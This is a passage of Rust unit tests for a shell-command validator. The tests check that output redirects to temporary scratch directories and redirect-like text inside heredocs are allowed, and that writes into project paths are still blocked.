1000            .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
1001            .collect();
1002        let output = lines.join("\n");
1003        let result = handle("rg search_result src/", &output, 0, CrpMode::Off);
1004        for i in 1..=30 {
1005            assert!(
1006                result.contains(&format!("file{i}")),
1007                "search result file{i} should be preserved in output"
1008            );
1009        }
1010    }
1011
1012    // --- GH #931: unquoted heredoc body > must not trip redirect scanner ---
1013
1014    #[test]
1015    fn unquoted_heredoc_gt_in_body_not_blocked() {
1016        let cmd = "psql <<SQL\nSELECT * FROM t WHERE x > 0;\nSQL";
1017        assert!(
1018            validate_command(cmd).is_none(),
1019            "unquoted heredoc body with > must not be flagged as redirect"
1020        );
1021    }
1022
1023    #[test]
1024    fn unquoted_heredoc_append_in_body_not_blocked() {
1025        let cmd = "cat <<END\nline with >> inside\nEND";
1026        assert!(
1027            validate_command(cmd).is_none(),
1028            "unquoted heredoc body with >> must not be flagged"
1029        );
1030    }
1031
1032    // --- GH #1142: literal scratch paths outside project root ---
1033
1034    // The literal scratch roots (/tmp, /private/tmp, /var/tmp) are only in
1035    // `default_shell_write_allow_paths()` on Unix, so path-shaped assertions
1036    // are Unix-only; the `$VAR` escape hatch is cross-platform.
1037    #[test]
1038    #[cfg(unix)]
1039    fn issue_1142_private_tmp_redirect_allowed() {
1040        // exact repro from the issue: capture test log under /private/tmp scratchpad
1041        assert!(
1042            validate_command(
1043                "go test ./... > /private/tmp/claude-502/scratchpad/gotest.log 2>&1; echo EXIT:$?"
1044            )
1045            .is_none()
1046        );
1047        assert!(validate_command("cargo test > /var/tmp/out.log 2>&1").is_none());
1048        assert!(validate_command("make 2>> /private/tmp/err.log").is_none());
1049        // quoted targets must be judged like unquoted ones
1050        assert!(validate_command("cargo test > \"/private/tmp/x/build.log\"").is_none());
1051    }
1052
1053    #[test]
1054    fn issue_1142_quoted_scratch_target_allowed() {
1055        // quoted targets must be judged like unquoted ones
1056        assert!(validate_command("cargo test > \"$TMPDIR/build.log\"").is_none());
1057        assert!(validate_command("cargo test > '$SCRATCH/build.log'").is_none());
1058    }
1059
1060    #[test]
1061    fn issue_1142_fd_dup_allowed() {
1062        assert!(validate_command("echo error >&2").is_none());
1063        assert!(validate_command("printf 'x' 1>&2 && git status").is_none());
1064    }
1065
1066    #[test]
1067    fn issue_1142_project_writes_still_blocked() {
1068        assert!(validate_command("cargo test > build.log").is_some());
1069        assert!(validate_command("echo x > /Users/me/project/out.txt").is_some());
1070        assert!(validate_command("echo x > \"./out.txt\"").is_some());
1071        // /tmpfoo is not a temp dir
1072        assert!(validate_command("echo x > /private/tmpfoo/out.txt").is_some());
1073    }
1074
1075    #[test]
1076    #[cfg(unix)]
1077    fn issue_1142_noclobber_to_scratch_allowed() {
1078        assert!(validate_command("cargo test >|/tmp/out.log").is_none());
1079        assert!(validate_command("echo x >|out.txt").is_some());
1080    }
1081
1082    #[test]
1083    fn real_redirect_after_heredoc_still_blocked() {
1084        let cmd = "cat <<EOF > output.txt\ndata\nEOF";
1085        assert!(
1086            validate_command(cmd).is_some(),
1087            "redirect OUTSIDE heredoc body must still block"
1088        );
1089    }
1090}